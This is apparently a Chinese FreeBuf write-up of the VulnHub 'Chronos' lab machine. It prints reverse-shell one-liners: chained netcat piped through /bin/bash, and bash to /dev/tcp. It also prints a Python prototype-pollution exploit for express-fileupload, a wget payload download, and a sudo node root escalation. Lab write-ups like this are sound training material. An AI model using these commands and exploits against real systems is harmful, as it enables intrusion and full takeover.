freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub-chronos靶机详细渗透过程
南城夕雾 2022-02-22 23:10:49 179575
所属地 河南省

靶机下载地址: https://www.vulnhub.com/entry/chronos-1,735/

nmap 192.168.26.0/24

首先nmap扫一下靶机的ip,发现靶机80端口开放了http服务吗,尝试进行访问

图片.png

图片.png

发现好像是一张图片,习惯性的右键查看页面源代码,发现一行可疑的代码

图片.png

由于上图中的代码不便于观察,所以我们复制这行代码到cyberchef这个在线网站进行一下格式的优化,在线网站的链接:https://icyberchef.com 首先我们在左侧输入beautify 将Javascript beautify 模块拖到中间一栏,也就是应用该模块对我们输入的JS代码进行格式处理和优化,优化完我们发现了一个可疑的url链接。

图片.png

由于这台靶机的名字就叫chronos 所以我们尝试修改本地的hosts文件,将192.168.26.4这个靶机的ip地址和chronos.local这个名字对应起来,这样我们访问的时侯就可以正确解析了。

当我们修改完后,再次访问8000端口的时候,发现页面发生了变化,如下图所示,与之前相比这次回显了当前的时间,所以我猜测可能是在访问这个页面的时候,服务器执行了获取当前时间的命令,并返回到了当前的页面,所以我打算使用burp抓包看看能不能通过修改请求包的参数,来影响服务器端执行的命令,如果可以那么我们可以尝试替换成反弹shell的命令。

图片.png

我们通过burp抓访问这个页面的包的时候又看见了之前发现的那个可疑的url,所以我怀疑format参数传递的值可能与服务器执行的命令有关,所以我尝试修改了format参数的值发现页面不能正常回显这个当前时间,这就更加的印证了我的猜测。所以我们尝试format参数的值进行解密

图片.png

图片.png

图片.png

所以我们尝试对format参数的值进行解密,这里还是用到了我们前面介绍过的cyberchef网站

图片.png

这次我们使用的是magic模块,该模块会自动探测加密的模式并进行解密,我们发现format参数的值是经过base58加密后的,解密后是'+Today is %A, %B %d, %Y %H:%M:%S.' 这个解密的结果看起来应该是data命令后面跟的参数,所以我们尝试本地测试在kali上执行data命令后边跟这个解密的结果,看看是不是这种情况。

图片.png

所以到这里我的思路就比较明确了,就是尝试修改这个参数,然后让靶机服务器来执行我们构造的反弹shell的命令以此getshell,经过尝试发现该靶机上的nc不带-e参数,所以我们需要用到nc串联的方法来getshell。

nc -lnvp   4444    #在kali上监听4444端口	
nc  -lnvp   5555   #kali再开一个新的终端,监听5555端口
&& nc 192.168.26.10	4444 | /bin/bash | nc 192.168.26.10  5555    #然后我们进行base58加密
5ZVKfX87AfR5CZTt3AXWLeCDPELKpa8J3tYTiGTkaTZZbkPRQGxKjBVi7NM2ZJL9qymmYEGsZ51nMS  #base58加密后

直接burp抓包将format参数的值替换掉然后放包即可,然后我们就可以发现kali上成功获取到了会话

图片.png

图片.png


nc串联用法举例

有很多服务器的nc版本没有 -e这个参数,这样一来我们就无法使用以下命令来反弹shell

nc  IP   -e  /bin/bash

解决办法就是通过管道符来实现nc的串联来反弹shell,命令如下:

nc -lvnp  3333    #kali上监听3333端口
nc -lvnp  4444	  #kali再开一个新的终端,监听4444端口
nc 10.0.2.7 3333| /bin/bash | nc 10.0.2.7 4444

上面这条命令啊,就是说 我们先通过3333端口与kali建立一个会话,在这个会话输入的命令会交给靶机上的/bin/bash 程序解析,解析完会将结果输出给 kali的4444这个端口的会话,从而实现如下图所示的效果,我们可以在左侧输入命令,而结果会在右侧回显出来。

图片.png


然后我们通过查看文件的源码发现这是一个node.js作为后端的网站,然后我尝试了内核漏洞提权,suid,sudo,第三方等等提权方式均失败,于是我就开始搜索针对node.js模块存在的一些漏洞,翻了一些js文件后,在/opt/chronos-v2/backend目录下发现chronos-v2版本的app应用了express-fileupload模块 ,但是为什么我们在扫描的时候没有发现这个app呢,经过阅读经过这个后端代码我发现这个app仅对其本机开放,所以当时在扫描的时候没有发现,经过内外网的所有该模块存在漏洞,并且可用于提权,具体漏洞产生的原因可以看外网的这两篇文章

https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/

https://blog.p6.is/Real-World-JS-1/

第二篇文章中给出了一个python版本的漏洞利用脚本,我们在kali上开启临时的http服务,并且在kali上监听8888端口然后通过我们获得的shell,在靶机上执行该脚本,然后我们可以看到8888端口反弹回来了用户imera的shell

python3 -m http.server 80               #在kali上开启临时的http服务
nc -lvnp 8888 						  #在kali上监听8888端口

wget http://192.168.26.5/exp.py           #在靶机上通过wget命令将exp.py文件下载到本地

python3 exp.py                             #执行

图片.png

import requests
 
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.26.5/8888 0>&1"'       #kali的ip以及监听端口
# 污染 
requests.post( 'http://127.0.0.1:8080' , files = { '__proto__.outputFunctionName' : ( 
    无 , f"x;console.log(1);process.mainModule.require('child_process').exec(' {cmd} ');x" )}) 

# 执行命令 
requests.get( 'http://127.0.0.1:8080' )

然后我们通过下面这条命令发现我们可以不用密码就能以root权限去执行node命令

sudo -l

图片.png

我们知道node是一个类似于java的这样一个开发环境,所以我们尝试用node编写一个反弹shell的脚本,然后利用node命令来提权,经过一番搜索我发现了一个node编写的弹shell的脚本,这样我们就可以获得一个root权限的shell

sudo node -e 'child_process.spawn( "/bin/bash",{stdio: [0,1,2]})'

图片.png

如上图所示我们已经成功提升至root权限,到这里这台靶机的渗透过程就算结束了。

总结:这个靶机的难点就是提权,之前不了解node.js 的相关漏洞,所以在这一块花费了很长的时间来理解和学习node.js原型污染漏洞的原理和利用方法,之后成功执行python的提权脚本后,发现获得的是一个普通用户权限,所以再次信息搜集发现可以利用node命令来提权,最终也是获得了root权限,总的来说通过对这台靶机的渗透还是学到了很多新的知识,收获颇丰。

# 渗透测试 # 提权 # Node.js # VulnHub # vulnhub靶机
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 南城夕雾 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Vulnhub靶机渗透合集
南城夕雾 LV.6
这家伙太懒了,还未填写个人描述!
  • 56 文章数
  • 146 关注者
谈谈域渗透中常见的可滥用权限及其应用场景(二)
2022-12-16
Hack The Box 系列域渗透之靶机Multimaster
2022-12-12
Hack The Box 系列域渗透之靶机Cascade
2022-12-02